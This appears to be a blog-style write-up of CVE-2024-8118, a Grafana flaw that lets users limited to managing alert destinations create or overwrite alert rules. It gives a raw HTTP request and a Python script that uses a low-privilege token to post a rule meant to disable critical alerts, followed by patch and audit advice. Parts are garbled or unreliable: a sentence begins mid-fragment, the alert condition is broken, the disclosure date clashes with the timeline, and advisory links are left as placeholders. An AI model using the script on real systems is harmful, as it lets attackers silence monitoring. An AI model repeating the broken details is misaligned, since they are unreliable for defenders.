In June 2024, a security issue was disclosed in Grafana (one of the most widely used open source observability dashboards), affecting how permissions are handled for the alert rule API. This vulnerability, tracked as CVE-2024-8118, exposes organizations to risk by letting some users modify alert rules even if they shouldn’t have that power.

This article breaks down the vulnerability in simple terms, shows how it works with code snippets, and tells you how to defend yourself.

What is CVE-2024-8118?

Grafana lets you set up Alerts—triggers for when your systems aren’t working right. They are critical for keeping IT teams in the loop.

Normally, you have to assign the right permissions to users so that only trusted folks can write (create or modify) alert rules. But in some affected versions, there’s a misconfiguration:

but also any user allowed to "write external alert instances".

This means some users (who are only supposed to manage where alerts are sent—not what counts as an alert) could change alert rules, potentially silencing warnings, adding spammy ones, or otherwise messing with your dashboard’s notifications.

Let’s get specific. Here’s the problematic endpoint

POST /api/alerting/rules

A user with alerting:write or, erroneously, outroute:write permission can use this endpoint. Here’s a simplified HTTP request:

POST /api/alerting/rules HTTP/1.1
Host: grafana.example.com
Authorization: Bearer <user_with_external_alert_permission>
Content-Type: application/json

{
  "name": "Malicious Alert",
  "condition": "A > 100",
  "orgId": 1,
  "dashboardUid": "abcdefg",
  "panelId": 1,
  "data": [ /* ... */ ]
}

If that Authorization token belongs to a user *only* meant to manage alert receivers, they’ll nonetheless be able to create or overwrite alert rules—something they should not be able to do.

Exploit Example (for Education)

Let’s see how an attacker could leverage this in a practical scenario.
Suppose a user named ‘alice’ is allowed to write external alert instances—like configuring where alerts are sent (email, Slack, etc.), but not to edit the *rules themselves*.

Alice (or someone who hijacks her account) could send

import requests

url = "https://grafana.example.com/api/alerting/rules";
headers = {
    "Authorization": "Bearer ALICE_TOKEN",
    "Content-Type": "application/json"
}
data = {
    "name": "Disable Critical Alerts",
    "condition": "B < ",  # Dummy condition that always fails
    "orgId": 1,
    "dashboardUid": "xyz",
    "panelId": 2,
    "data": []  # whatever's needed
}

response = requests.post(url, headers=headers, json=data)
print(response.status_code)
print(response.text)

If successful, Alice’s low-privilege token has now disabled (or polluted) your alerting setup — because the API shouldn’t have allowed her to access that function!

Grafana Security Advisory:

CVE-2024-8118 on Grafana GitHub *(replace with actual link when officially published)*

CVE Record:

CVE-2024-8118 entry on MITRE
- Official fix/patch:
Grafana changelog

Update Grafana:

Patch to the latest Grafana version. The fix ensures that only users with explicit “alert rule write” permission can manage alert rules.

Audit Past Activity:

Look for suspicious creation or modification of alert rules in your audit logs during the exposure window.

Summary

CVE-2024-8118 is a serious permission slipup in Grafana. It could let less-privileged users change alerting rules, possibly hiding outages or bombarding you with fake alerts. Patch now, audit your permissions, and stay safe!


Exclusive resources for this post — please reference original advisories and double-check your environment.

If you want to test for this vulnerability safely, do so ONLY on non-production systems or with proper authorization.

Timeline

Published on: 09/26/2024 19:15:07 UTC
Last modified on: 09/30/2024 12:46:20 UTC